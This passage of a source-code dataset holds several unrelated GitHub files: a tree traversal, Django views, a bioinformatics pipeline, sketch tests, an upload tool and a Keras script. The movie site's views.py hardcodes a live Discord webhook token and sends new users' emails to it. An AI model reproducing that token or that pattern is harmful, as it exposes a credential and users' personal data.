root is None:\r\n return []\r\n res=[]\r\n i=0\r\n queue=[root]\r\n while(queue):\r\n tmp=[]\r\n ret=([node.val for node in queue])#####ret只存每一层的val\r\n for node in queue:\r\n if node.left:\r\n tmp.append(node.left)\r\n if node.right:\r\n tmp.append(node.right)\r\n queue=tmp\r\n if (i%2)==0:\r\n res.append(ret)\r\n else:\r\n res.append(ret[::-1])\r\n i+=1\r\n return res\r\na=Solution()\r\nprint(a.zigzagLevelOrder(p))","repo_name":"gouwei222/leetcode-python3","sub_path":"leetcode103.py","file_name":"leetcode103.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"37122853217","text":"# Django Imports\nfrom django.shortcuts import render\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view, renderer_classes\nfrom rest_framework.renderers import JSONRenderer, TemplateHTMLRenderer\n\n# Local Imports\nfrom Tasks.models import Task\nfrom Tasks.serializers import TaskSerializer\n# Create your views here.\n\n\n@api_view(('GET',))\ndef TaskListView(request, *args, **kwargs):\n queryset = Task.objects.all()\n serializer = TaskSerializer(queryset, many=True)\n return Response(serializer.data)\n\n\n@api_view(('GET',))\ndef TaskDetailView(request, pk):\n queryset = Task.objects.get(id=pk)\n serializer = TaskSerializer(queryset, many=False)\n return Response(serializer.data)\n\n\n@api_view(('POST',))\ndef TaskCreateView(request, *args):\n serializer = TaskSerializer(data=request.data)\n if serializer.is_valid(): serializer.save()\n return Response(serializer.data)\n\n\n@api_view(('POST',))\ndef TaskUpdateView(request, pk):\n task = Task.objects.get(id=pk)\n serializer = TaskSerializer(instance=task, data=request.data)\n if serializer.is_valid():serializer.save()\n return Response(serializer.data)\n\n\n@api_view(('DELETE',))\ndef TaskDeleteView(request, pk):\n task = Task.objects.get(id=pk)\n task.delete()\n return Response(\"Task was deleted\")\n","repo_name":"amitkakde007/To-Do-App","sub_path":"ToDoApp/Tasks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9718128338","text":"# scripts to run data analysis on tuberous sclerosis mice\nfrom bipy.cluster import start_cluster, stop_cluster\nimport sys\nimport yaml\nfrom bipy.log import setup_logging, logger\nfrom bcbio.utils import safe_makedir, file_exists\nimport csv\nimport os\nfrom bipy.utils import (append_stem, combine_pairs, flatten, dict_to_vectors,\n prepare_ref_file, replace_suffix)\nfrom bipy.toolbox import (fastqc, sickle, cutadapt_tool, tophat,\n htseq_count, deseq, fastq, annotate, rseqc, sam)\nfrom bcbio.broad import BroadRunner, picardrun\n\nimport glob\nfrom itertools import product, repeat\n\n\ndef _get_stage_config(config, stage):\n return config[\"stage\"][stage]\n\n\ndef _get_program(config, stage):\n return config[\"stage\"][stage][\"program\"]\n\n\ndef _emit_stage_message(stage, curr_files):\n logger.info(\"Running %s on %s\" % (stage, curr_files))\n\ndef _find_input_files(config):\n input_dirs = config[\"input_dirs\"]\n \"\"\" find all of the fastq files by identifier \"\"\"\n identifier = config[\"sample_parse\"][\"identifier\"]\n input_files = [glob.glob(os.path.join(config[\"dir\"][\"data\"],\n input_dir,\n identifier))\n for input_dir in input_dirs]\n return list(flatten(input_files))\n\n\ndef _group_input_by_condition(in_files, delimiter = \"_\"):\n def _add_entry(d, v):\n base = os.path.basename(v)\n k = base.split(delimiter)[1]\n d[k] = d.get(k, []) + [v]\n return d\n\n return reduce(_add_entry, in_files, {})\n\n\ndef _group_input_by_cell_type(in_files, delimiter = \"_\"):\n def _add_entry(d, v):\n base = os.path.basename(v)\n k = base.split(delimiter)[0]\n if \"PbN\" in k:\n d[\"PbN\"] = d.get(\"PbN\", []) + [v]\n elif \"Pb\" in k:\n d[\"Pb\"] = d.get(\"Pb\", []) + [v]\n else:\n logger.error(\"Error grouping by cell type\")\n exit(-1)\n return d\n\n return reduce(_add_entry, in_files, {})\n\n\ndef main(config_file):\n with open(config_file) as in_handle:\n config = yaml.load(in_handle)\n\n # make the needed directories\n map(safe_makedir, config[\"dir\"].values())\n\n # specific for thesis pipeline\n input_dirs = config[\"input_dirs\"]\n\n results_dir = config[\"dir\"].get(\"results\", \"results\")\n input_files = _find_input_files(config)\n conditions = _group_input_by_condition(input_files)\n logger.info(\"Input_files: %s\" % (input_files))\n logger.info(\"Condition groups %s\" %(conditions))\n htseq_outdict = {}\n\n for condition, curr_files in conditions.items():\n condition_dir = os.path.join(results_dir, condition)\n safe_makedir(condition_dir)\n config[\"dir\"][\"results\"] = condition_dir\n\n for stage in config[\"run\"]:\n if stage == \"fastqc\":\n _emit_stage_message(stage, curr_files)\n fastqc_config = _get_stage_config(config, stage)\n fastqc_args = zip(*product(curr_files, [fastqc_config],\n [config]))\n view.map(fastqc.run, *fastqc_args)\n\n if stage == \"cutadapt\":\n _emit_stage_message(stage, curr_files)\n cutadapt_config = _get_stage_config(config, stage)\n cutadapt_args = zip(*product(curr_files, [cutadapt_config],\n [config]))\n cutadapt_outputs = view.map(cutadapt_tool.run, *cutadapt_args)\n curr_files = cutadapt_outputs\n logger.info(\"Fixing mate pair information.\")\n pairs = combine_pairs(curr_files)\n first = [x[0] for x in pairs]\n second = [x[1] for x in pairs]\n logger.info(\"Forward: %s\" % (first))\n logger.info(\"Reverse: %s\" % (second))\n fixed = view.map(fastq.fix_mate_pairs_with_config,\n first, second, [config] * len(first))\n curr_files = list(flatten(fixed))\n\n if stage == \"sickle\":\n _emit_stage_message(stage, curr_files)\n pairs = combine_pairs(curr_files)\n first = [x[0] for x in pairs]\n second = [x[1] for x in pairs]\n fixed = view.map(sickle.run_with_config,\n first, second, [config] * len(first))\n curr_files = list(flatten(fixed))\n\n if stage == \"tophat\":\n _emit_stage_message(stage, curr_files)\n tophat_config = _get_stage_config(config, stage)\n pairs = combine_pairs(curr_files)\n first = [x[0] for x in pairs]\n second = [x[1] for x in pairs]\n logger.info(\"first %s\" % (first))\n logger.info(\"second %s\" % (second))\n\n #tophat_args = zip(*product(first, second, [config[\"ref\"]],\n # [\"tophat\"], [config]))\n tophat_outputs = view.map(tophat.run_with_config,\n first, second,\n [config[\"ref\"]] * len(first),\n [\"tophat\"] * len(first),\n [config] * len(first))\n bamfiles = view.map(sam.sam2bam, tophat_outputs)\n bamsort = view.map(sam.bamsort, bamfiles)\n view.map(sam.bamindex, bamsort)\n final_bamfiles = bamsort\n curr_files = tophat_outputs\n\n if stage == \"htseq-count\":\n _emit_stage_message(stage, curr_files)\n htseq_config = _get_stage_config(config, stage)\n htseq_args = zip(*product(curr_files, [config], [stage]))\n htseq_outputs = view.map(htseq_count.run_with_config,\n *htseq_args)\n htseq_outdict[condition] = htseq_outputs\n\n if stage == \"coverage\":\n logger.info(\"Calculating RNASeq metrics on %s.\" % (curr_files))\n nrun = len(curr_files)\n ref = prepare_ref_file(config[\"stage\"][stage][\"ref\"], config)\n ribo = config[\"stage\"][stage][\"ribo\"]\n picard = BroadRunner(config[\"program\"][\"picard\"])\n out_dir = os.path.join(results_dir, stage)\n safe_makedir(out_dir)\n out_files = [replace_suffix(os.path.basename(x),\n \"metrics\") for x in curr_files]\n out_files = [os.path.join(out_dir, x) for x in out_files]\n out_files = view.map(picardrun.picard_rnaseq_metrics,\n [picard] * nrun,\n curr_files,\n [ref] * nrun,\n [ribo] * nrun,\n out_files)\n\n if stage == \"rseqc\":\n _emit_stage_message(stage, curr_files)\n rseqc_config = _get_stage_config(config, stage)\n rseq_args = zip(*product(curr_files, [config]))\n view.map(rseqc.bam_stat, *rseq_args)\n view.map(rseqc.genebody_coverage, *rseq_args)\n view.map(rseqc.junction_annotation, *rseq_args)\n view.map(rseqc.junction_saturation, *rseq_args)\n RPKM_args = zip(*product(final_bamfiles, [config]))\n RPKM_count_out = view.map(rseqc.RPKM_count, *RPKM_args)\n RPKM_count_fixed = view.map(rseqc.fix_RPKM_count_file,\n RPKM_count_out)\n \"\"\"\n annotate_args = zip(*product(RPKM_count_fixed,\n [\"gene_id\"],\n [\"ensembl_gene_id\"],\n [\"human\"]))\n view.map(annotate.annotate_table_with_biomart,\n *annotate_args)\n \"\"\"\n view.map(rseqc.RPKM_saturation, *rseq_args)\n curr_files = tophat_outputs\n\n # combine htseq-count files and run deseq on them\n conditions, htseq_files = dict_to_vectors(htseq_outdict)\n deseq_config = _get_stage_config(config, \"deseq\")\n cell_types = _group_input_by_cell_type(htseq_files)\n for cell_type, files in cell_types.items():\n for comparison in deseq_config[\"comparisons\"]:\n comparison_name = \"_vs_\".join(comparison)\n deseq_dir = os.path.join(results_dir, \"deseq\", cell_type,\n comparison_name)\n safe_makedir(deseq_dir)\n out_file = os.path.join(deseq_dir, comparison_name + \".counts.txt\")\n files_by_condition = _group_input_by_condition(files)\n _emit_stage_message(\"deseq\", files_by_condition)\n c, f = dict_to_vectors(files_by_condition)\n combined_out = htseq_count.combine_counts(f,\n None,\n out_file)\n deseq_out = os.path.join(deseq_dir, comparison_name)\n logger.info(\"Running deseq on %s with conditions %s \"\n \"and writing ot %s\" % (combined_out,\n conditions,\n deseq_out))\n deseq_out = view.map(deseq.run, [combined_out], [c], [deseq_out])\n annotate.annotate_table_with_biomart(deseq_out[0],\n \"id\",\n \"ensembl_gene_id\",\n \"human\")\n #annotated_file = view.map(annotate.annotate_table_with_biomart,\n # [deseq_out],\n # [\"id\"],\n # [\"ensembl_gene_id\"],\n # [\"human\"])\n\n # end gracefully\n stop_cluster()\n\n\nif __name__ == \"__main__\":\n # read in the config file and perform initial setup\n main_config_file = sys.argv[1]\n with open(main_config_file) as config_in_handle:\n startup_config = yaml.load(config_in_handle)\n setup_logging(startup_config)\n start_cluster(startup_config)\n from bipy.cluster import view\n\n main(main_config_file)\n","repo_name":"parveezsha/gitlabjuly","sub_path":"projects/lu_rnaseq/scripts/lu_pipeline.py","file_name":"lu_pipeline.py","file_ext":"py","file_size_in_byte":10562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"10210255766","text":"from django.shortcuts import render\nfrom django.template.response import HttpResponse\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\nfrom apigetmovie.api.request_api import RandomFilm\nfrom django.http import QueryDict\nfrom json import dumps\nfrom .models import Fav, UserFav\nfrom urllib.parse import parse_qs\nfrom discord_webhook import DiscordWebhook, DiscordEmbed\nfrom django.core.mail import send_mail\n\ndef index(request, id=-1):\n if request.method == 'POST':\n response_ajax = request.read().decode(\"UTF-8\")\n type_request = QueryDict(response_ajax).get('random')\n type_ = QueryDict(response_ajax).get('type')\n film = RandomFilm(type_)\n\n if type_request == 'false':\n res = film.get_film_for_id(id)\n\n else:\n res = film.get_film()\n\n if res is False:\n return HttpResponse(dumps({'error_api': 'Извините, но произошла неизвестная ошибка. Попробуйте еще раз'}))\n\n # проверяем есть ли фильм в избранном\n if request.user.is_authenticated:\n if type_request != \"false\":\n id = res['id']\n\n userid = User.objects.get(username=request.user.username).id\n if UserFav.objects.filter(userid=userid, favid=id).count() == 0:\n res.update({\"is_favorite\": False})\n else:\n res.update({\"is_favorite\": True})\n\n res.update({\"error_api\": \"\"})\n\n return HttpResponse(dumps(res))\n\n return render(request, 'index.html')\n\n\ndef signup(request):\n if request.user.is_authenticated:\n return HttpResponseRedirect('/')\n\n if request.method == 'POST':\n errors = []\n response_ajax = parse_qs(request.read().decode(\"UTF-8\"))\n username = response_ajax['username'][0]\n email = response_ajax['email'][0]\n password = response_ajax['password'][0]\n password_repeat = response_ajax['password-repeat'][0]\n\n exist_email = User.objects.filter(email=email).count()\n if exist_email > 0:\n errors.append({'input': 'email','text': 'Данный email уже используется'})\n\n exist_username = User.objects.filter(username=username).count()\n\n if exist_username > 0:\n errors.append({'input': 'username','text': 'Пользователь с таким именем уже существует'})\n\n if password != password_repeat:\n errors.append({'input': 'password','text': 'Пароли не совпадают'})\n\n if errors != []:\n res = dumps({'signup': False, 'errors': errors})\n return HttpResponse(res)\n\n user = User.objects.create_user(username, email, password)\n user.save()\n\n user = authenticate(request, username=username, password=password)\n login(request, user)\n result = get_list_favorite(username)\n result.update({'login': True, 'signup': True})\n\n webhook = DiscordWebhook(url='https://discordapp.com/api/webhooks/726552664934187049/Ywj3iwcGtVPvNnuuCzfJY9xW0IhGt7y_oKUXXkWClR5bwShifYjjQrKXuUSA9z23cBRf')\n embed = DiscordEmbed(title='+1 Пользователь - ' + username, description='Email: ' + email, color=242424)\n # add embed object to webhook\n webhook.add_embed(embed)\n\n webhook_response = webhook.execute()\n\n return HttpResponse(dumps(result))\n\n return HttpResponseRedirect('/')\n\n\ndef logout_(request):\n logout(request)\n return HttpResponseRedirect('/')\n\n\ndef login_(request):\n if request.user.is_authenticated:\n return HttpResponseRedirect('/')\n\n if request.method == 'POST':\n response_ajax = parse_qs(request.read().decode(\"UTF-8\"))\n username = response_ajax['username'][0]\n password = response_ajax['password'][0]\n\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n result = get_list_favorite(username)\n result.update({'login': True})\n return HttpResponse(dumps(result))\n else:\n return HttpResponse(dumps({'login': False}))\n\n return HttpResponseRedirect('/')\n\n\ndef get_user(request):\n if request.user.is_authenticated:\n username = request.user.username\n result = get_list_favorite(username)\n result.update({'username': username, })\n return HttpResponse(dumps(result))\n\n return HttpResponse(dumps({'username': False}))\n\n\ndef add_fav(request):\n\n if not request.user.is_authenticated:\n return HttpResponse(dumps({'fav_add': False, \"authenticated\": False}))\n\n if request.method == \"POST\":\n response_ajax = request.read().decode(\"UTF-8\")\n id = QueryDict(response_ajax).get('filmId')\n type_ = QueryDict(response_ajax).get('type')\n userid = User.objects.get(username=request.user.username).id\n\n favid_or_not = Fav.objects.filter(favid=id).count()\n\n if favid_or_not == 0:\n Fav.objects.create(favid=id, type=type_)\n\n obj_ = UserFav.objects.filter(favid=id, userid=userid).count()\n\n if obj_ == 0:\n UserFav.objects.create(userid=userid, favid=id)\n result = get_list_favorite(request.user.username)\n result.update({'fav_add': True, \"authenticated\": True})\n\n return HttpResponse(dumps(result))\n return HttpResponse(dumps({'fav_add': False, \"authenticated\": True}))\n\n return HttpResponseRedirect('/')\n\n\ndef remove_fav(request):\n if request.method == \"POST\":\n\n if not request.user.is_authenticated:\n return HttpResponse(dumps({'fav_remove': False, \"authenticated\": False}))\n\n response_ajax = request.read().decode(\"UTF-8\")\n id = QueryDict(response_ajax).get('filmId')\n userid = User.objects.get(username=request.user.username).id\n id_favorite_of_user = UserFav.objects.filter(favid=id, userid=userid)\n exist_id_favorite_of_user = id_favorite_of_user.count()\n\n if exist_id_favorite_of_user == 0:\n HttpResponse(dumps({\"error\": \"film not added to favorites list\"}))\n\n if id_favorite_of_user.delete():\n result = get_list_favorite(request.user.username)\n result.update({'error': False, })\n return HttpResponse(dumps(result))\n\n return HttpResponseRedirect('/')\n\n\ndef get_favs(request):\n\n if not request.user.is_authenticated:\n return HttpResponse(dumps({\"authenticated\": False}))\n\n if request.method == \"POST\":\n result = get_list_favorite(request.user.username)\n HttpResponse(dumps(result))\n\n return HttpResponseRedirect('/')\n\n\ndef get_list_favorite(username):\n userid = User.objects.get(username=username).id\n list_id = UserFav.objects.filter(userid=userid)\n result = []\n i = 1\n\n for id in list_id.all():\n type_ = Fav.objects.get(favid=id.get_favid()).get_type()\n film = RandomFilm(type_).get_film_for_id(id.get_favid())\n\n res = {\"id\": id.get_favid(), \"type\": type_, \"poster_path\": film[\"poster_path\"], \"title\": film[\"title\"], 'backdrop_path': film['backdrop_path'], 'genres': film['genres']}\n result.append(res)\n i +=1\n result = {\"favorites\": result, \"username\": username}\n return result\n\n\ndef feedback(request):\n if request.method == 'POST':\n response_ajax = request.read().decode(\"UTF-8\")\n text = QueryDict(response_ajax).get('text')\n name = QueryDict(response_ajax).get('name')\n send_mail(name, text, 'mittle.group@mittle.jetmovie.ru', ['mittle.studio@gmail.com'], fail_silently=False)\n webhook = DiscordWebhook(url='https://discordapp.com/api/webhooks/726552664934187049/Ywj3iwcGtVPvNnuuCzfJY9xW0IhGt7y_oKUXXkWClR5bwShifYjjQrKXuUSA9z23cBRf')\n\n embed = DiscordEmbed(title='Новое сообщение от ' + name, description='Текст: ' + text, color=242424)\n\n webhook.add_embed(embed)\n\n webhook_response = webhook.execute()\n return HttpResponse(dumps({'send': True,}))\n return HttpResponseRedirect('/')\n","repo_name":"Morozh/JetMovie","sub_path":"apigetmovie/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8226,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"24018875894","text":"import unittest\nimport logging\nimport time\n\nimport graphsignal\nfrom graphsignal.sketches.kll import KLLSketch\nfrom graphsignal import metrics_pb2\n\nlogger = logging.getLogger('graphsignal')\n\n\nclass KLLSketchTest(unittest.TestCase):\n def setUp(self):\n self.maxDiff = None\n\n def test_kll_update(self):\n k1 = KLLSketch()\n k1.update(1)\n k1.update(2)\n k1.update(2)\n k1.update(3.333)\n k1.update(1000)\n k1.update(0.0001)\n self.assertEqual(k1.count(), 6)\n self.assertEqual(\n k1.ranks(), [\n (0.0001, 1), (1, 2), (2, 3), (2, 4), (3.333, 5), (1000, 6)])\n self.assertEqual(k1.cdf(), [(0.0001, 0.16666666666666666), (1, 0.3333333333333333), (\n 2, 0.5), (2, 0.6666666666666666), (3.333, 0.8333333333333334), (1000, 1.0)])\n\n def test_kll_update_str(self):\n k1 = KLLSketch()\n k1.update('1')\n k1.update('2')\n k1.update('2')\n k1.update('3')\n self.assertEqual(k1.count(), 4)\n self.assertEqual(k1.ranks(), [('1', 1), ('2', 2), ('2', 3), ('3', 4)])\n self.assertEqual(\n k1.cdf(), [\n ('1', 0.25), ('2', 0.5), ('2', 0.75), ('3', 1.0)])\n\n def test_kll_merge(self):\n k1 = KLLSketch()\n\n k2 = KLLSketch()\n k2.update(1)\n k2.update(2)\n k1.merge(k2)\n\n k3 = KLLSketch()\n k3.update(1)\n k3.update(2)\n k3.update(12)\n k1.merge(k3)\n\n self.assertEqual(\n k1.cdf(), [\n (1, 0.2), (1, 0.4), (2, 0.6), (2, 0.8), (12, 1.0)])\n\n def test_kll_distribution(self):\n k1 = KLLSketch()\n for i in range(5):\n k1.update(1)\n k1.update(2)\n for i in range(100):\n k1.update(4)\n\n self.assertEqual(k1.distribution(), [[1, 5], [2, 1], [4, 100]])\n\n def test_kll_proto(self):\n k1 = KLLSketch()\n k1.update(1)\n k1.update(2)\n k1.update(3)\n\n window = metrics_pb2.PredictionWindow()\n proto = window.data_streams['1'].metrics['1'].distribution_value.sketch_kll10\n\n k1.to_proto(proto)\n\n self.assertEqual(proto.item_type, proto.ItemType.DOUBLE)\n\n k2 = KLLSketch()\n k2.from_proto(proto)\n\n self.assertEqual(k2._k, k1._k)\n self.assertEqual(k2._c, k1._c)\n self.assertEqual(k2._H, k1._H)\n self.assertEqual(k2._size, k1._size)\n self.assertEqual(k2._max_size, k1._max_size)\n self.assertEqual(k2.count(), k1.count())\n self.assertEqual(k2.ranks(), k1.ranks())\n self.assertEqual(k2.cdf(), k1.cdf())\n\n def test_kll_update_perf(self):\n s = KLLSketch()\n\n start = time.time()\n\n #import cProfile\n #from pstats import Stats, SortKey\n\n # with cProfile.Profile() as pr:\n for i in range(1000):\n s.update(i)\n\n #stats = Stats(pr)\n # stats.sort_stats(SortKey.CUMULATIVE).print_stats(25)\n\n took = time.time() - start\n print('KLL update (1000) took: ', took)\n #print('CDF', s.cdf())\n self.assertTrue(took < 1)\n\n def test_kll_merge_perf(self):\n import random\n sketches = []\n for i in range(1000):\n s = KLLSketch()\n s.update(random.randint(1, 100))\n sketches.append(s)\n\n start = time.time()\n\n ns = KLLSketch()\n for s in sketches:\n ns.merge(s)\n\n took = time.time() - start\n print('kll merge (1000) took: ', time.time() - start)\n #print('kll size: ', len(ns.serialize()))\n self.assertTrue(took < 1)\n","repo_name":"syllogy/graphsignal","sub_path":"graphsignal/sketches/kll_test.py","file_name":"kll_test.py","file_ext":"py","file_size_in_byte":3613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"17210324587","text":"#!/usr/bin/python3\n\nimport argparse\nimport re\nimport os\nimport os.path\nimport md5\nimport sys\nimport zipfile\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Create a PositioNZ-PP station coordinate model upload file\"\n )\n parser.add_argument(\"zip_file\", help=\"Name of zip file to create\")\n parser.add_argument(\n \"spm_xml_file\",\n nargs=\"*\",\n help=\"Station prediction model XML files to upload CCCC.xml\",\n )\n parser.add_argument(\n \"-s\", \"--stn-dir\", help=\"Directory containing station coordinate XML files\"\n )\n parser.add_argument(\n \"-r\",\n \"--remove-file\",\n nargs=\"*\",\n help=\"The station code of files to remove from positionzpp\",\n )\n parser.add_argument(\n \"-o\",\n \"--overwrite\",\n action=\"store_true\",\n help=\"Allow overwriting an existing zip file\",\n )\n parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\", help=\"Be verbose!\")\n\n args = parser.parse_args()\n verbose = args.verbose\n\n upload_key = \"GNSSSPM\"\n filere = re.compile(r\"^(\\w{4})\\.xml$\")\n\n if os.path.exists(args.zip_file) and not args.overwrite:\n print(\"Use -o to overwrite existing zip file \" + args.zip_file)\n sys.exit()\n\n codes = []\n files = []\n spmhash = \"\"\n spmdir = args.stn_dir or \".\"\n\n xmlfiles = list(args.spm_xml_file)\n if len(xmlfiles) == 0:\n xmlfiles = [f for f in os.listdir(spmdir) if filere.match(f)]\n\n for sfile in xmlfiles:\n if not sfile.endswith(\".xml\"):\n sfile = sfile + \".xml\"\n source = os.path.join(spmdir, sfile)\n if not os.path.exists(source):\n source = sfile\n if not os.path.exists(source):\n print(sfile, \"does not exist!\")\n continue\n filename = os.path.basename(source)\n match = filere.match(filename)\n if not match:\n print(sfile, \" is not a valid filename for a station prediction model\")\n continue\n code = match.group(1).upper()\n if verbose:\n print(\"Adding model for {0} from {1}\".format(code, source))\n codes.append(code)\n with open(source) as sf:\n data = sf.read()\n m = md5.new()\n m.update(upload_key)\n m.update(data)\n spmhash = spmhash + code + \".xml \" + m.hexdigest() + \"\\n\"\n files.append({\"file\": code + \".xml\", \"data\": data})\n\n remove_files = args.remove_file or []\n for rcode in remove_files:\n if not re.match(r\"^\\w{4}$\", rcode):\n print(\"Invalid code\".rcode, \" for removal\")\n continue\n rcode = rcode.upper()\n if rcode in codes:\n print(\"Cannot remove {0} as already used\".format(rcode))\n continue\n m = md5.new()\n m.update(upload_key)\n m.update(\"REMOVE\")\n m.update(rcode)\n m.update(\".xml\")\n spmhash = spmhash + rcode + \".xml \" + m.hexdigest() + \"\\n\"\n if verbose:\n print(\"Removing file \" + rcode)\n\n zipfilename = args.zip_file\n if not zipfilename.endswith(\".zip\"):\n zipfilename = zipfilename + \".zip\"\n zip = zipfile.ZipFile(zipfilename, \"w\", zipfile.ZIP_DEFLATED)\n zip.writestr(\"spm.hash\", spmhash)\n for f in files:\n zip.writestr(f[\"file\"], f[\"data\"])\n zip.close()\n if verbose:\n print(\"Zip file {0} ready for upload to PositioNZ-PP\".format(zipfilename))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"linz/python-linz-stationcoordmodel","sub_path":"LINZ/positionzpp_spm_upload.py","file_name":"positionzpp_spm_upload.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38736686345","text":"from turtle import width\nfrom geopy.geocoders import Nominatim\nimport requests\nfrom datetime import datetime\nimport PySimpleGUI as sg\n\nclass Tela:\n def __init__(self):\n sg.theme('Reddit')\n\n lado_a = [\n [sg.Text('Cidade:', size=(10,1), font='Arial 12' ), sg.Input(key='cidade', size=(45,5), font='Arial 12'), sg.Button('Pesquisar', size=(10,1))], \n [sg.Text('Temperatura:',size=(10,1), font='Arial 12'), sg.Text(key='temp', size=(20,1), font='Arial 12')], \n [sg.Text('Mínima:',size=(10,1), font='Arial 12'), sg.Text(key='minima', size=(20,1), font='Arial 12')],\n [sg.Text('Máxima:',size=(10,1), font='Arial 12'), sg.Text(key='maxima', size=(20,1), font='Arial 12')],\n [sg.Text('Situação:',size=(10,1), font='Arial 12'), sg.Text(key='descricao', size=(20,1), font='Arial 12')],\n [sg.Text('Data/Hora:',size=(10,1), font='Arial 12'), sg.Text(key='data_hora', size=(20,1), font='Arial 12')],\n [sg.Text('Localização:',size=(10,1), font='Arial 12'), sg.Text(key='location', size=(50,3), font='Arial 12')] \n ]\n\n lado_b = [\n [sg.Image(source='logo.png')] \n ]\n\n layout = [\n [\n sg.Column(lado_a),\n sg.VSeparator(),\n sg.Column(lado_b)\n ]\n ]\n\n self.janela = sg.Window('Previsão do Tempo', layout)\n\n def Iniciar(self):\n\n while True:\n self.event, self.values = self.janela.Read()\n\n\n if self.event == sg.WINDOW_CLOSED:\n break\n if self.event == 'Pesquisar': \n\n try:\n #obtendo a latitude e longitude\n\n cidade = self.values['cidade']\n\n geolocator = Nominatim(user_agent=\"main\")\n location = geolocator.geocode(cidade)\n lon = location.longitude\n lat = location.latitude\n\n #fazendo a requisição da API\n key = '8cef1367f56402ade307b1eb06187765'\n \n request = requests.get('http://api.openweathermap.org/data/2.5/weather?lat={}&lon={}&lang=pt_br&appid={}'.format(lat,lon, key))\n tempo = request.json() \n\n self.janela['temp'].update(\"{:.1f} º Celsius\".format(tempo['main']['temp'] - 273.15))\n self.janela['minima'].update(\"{:.1f} º Celsius\".format(tempo['main']['temp_min'] - 273.15))\n self.janela['maxima'].update(\"{:.1f} º Celsius\".format(tempo['main']['temp_max'] - 273.15))\n self.janela['data_hora'].update(datetime.today().strftime('%d-%m-%Y - %H:%M'))\n self.janela['descricao'].update(tempo['weather'][0]['description'])\n self.janela['location'].update(location)\n except:\n self.janela['cidade'].update('Cidade não encontrada. Favor digitar novamente.')\n self.janela['temp'].update('')\n self.janela['minima'].update('')\n self.janela['maxima'].update('')\n self.janela['data_hora'].update('')\n self.janela['descricao'].update('')\n self.janela['location'].update('')\n\ntela = Tela()\ntela.Iniciar()","repo_name":"jnascimentocode/previsao_tempo","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34776557203","text":"import sys\nsys.path.append(r'/home/elhanani/study/huji-deep/install')\nimport simnets.keras as sk\nimport keras\nfrom keras.datasets import mnist\nfrom keras.callbacks import TensorBoard\nfrom keras.models import Sequential, Model\nfrom keras.layers import add, RepeatVector, Input, Dense, Flatten, GlobalAveragePooling2D, Activation, Reshape, Conv2D, AveragePooling2D, BatchNormalization, Lambda, ZeroPadding2D\nfrom keras import backend as K\nimport tensorflow as tf\nimport numpy as np\nnp.random.seed(1)\n#with tf.device('/cpu:0'):\nif True:\n batch_size = 64\n num_classes = 10\n sim_kernel = 2\n sim_channels = 32\n mex_channels = sim_channels\n epochs = 30\n\n # input image dimensions\n img_rows, img_cols = 28, 28\n\n # the data, shuffled and split between train and test sets\n (x_train, y_train), (x_test, y_test) = mnist.load_data()\n\n\n assert(K.image_data_format() == 'channels_first')\n x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols)\n x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)\n input_shape = (1, img_rows, img_cols)\n\n x_train = x_train.astype('float32')\n x_test = x_test.astype('float32')\n print(x_train.mean(), x_train.min(), x_train.max())\n x_train = x_train / 255.0 - 0.5\n x_test = x_test / 255.0 - 0.5\n\n # ============\n N = 500\n x_test = x_test[:N]\n y_test = y_test[:N]\n x_train = x_train[:N*10]\n y_train = y_train[:N*10]\n # ============\n\n print(x_train.mean(), x_train.min(), x_train.max())\n\n print('x_train shape:', x_train.shape)\n print(x_train.shape[0], 'train samples')\n print(x_test.shape[0], 'test samples')\n\n # convert class vectors to binary class matrices\n y_train = keras.utils.to_categorical(y_train, num_classes)\n y_test = keras.utils.to_categorical(y_test, num_classes)\n\n USE_PRETRAINED = False\n weights = np.load('/home/elhanani/notebooks/weights.npy')[()]\n\n # def norm_layer(x):\n # norm = sk.Mex(1, blocks=[int(x.shape[-3]), 1, 1],\n # softmax_mode=True, normalize_offsets=False,\n # use_unshared_regions=False, shared_offset_region=[-1],\n # offsets_initializer='zeros',\n # trainable=False)(x)\n # tile = Reshape((int(x.shape[-2]) * int(x.shape[-1]),))(norm)\n # tile = RepeatVector(int(x.shape[-3]))(tile)\n # tile = Reshape(x._keras_shape[-3:])(tile)\n # tile = Lambda(lambda x: -x)(tile)\n # normalized = add([x, tile])\n # return normalized, norm\n\n def sum_pooling_layer(x, pool_size):\n # Average pooling doesn't take padding area into consideration when using padding='same'\n # If we wish to add padding, we must do so externally with ZeroPadding2D so we would\n # be able to compute the sum pooling layer from the average pooling layer.\n x = AveragePooling2D(pool_size=pool_size, padding='valid')(x)\n x = Lambda(lambda x: x * pool_size[0] * pool_size[1])(x)\n return x\n\n\n def fixed_dirichlet_init(shape, dtype=None):\n if dtype is None:\n dtype = K.floatx()\n num_regions, num_instances, block_c, block_h, block_w = shape\n k = block_c * block_h * block_w\n # when given s as a size argument dirichlet function return an array with shape s + [k]\n # then we reshape the output to be of the same shape as the variable\n init_np = np.random.dirichlet([1] * k, size=(num_regions, num_instances)).astype(dtype)\n init_np = np.log(init_np)\n init_np = init_np.reshape(shape)\n return tf.constant(init_np)\n\n a = Input(shape=(1, img_rows, img_cols))\n if USE_PRETRAINED:\n templates_initializer= tf.constant_initializer(weights['sim_templates'])\n weights_initializer= 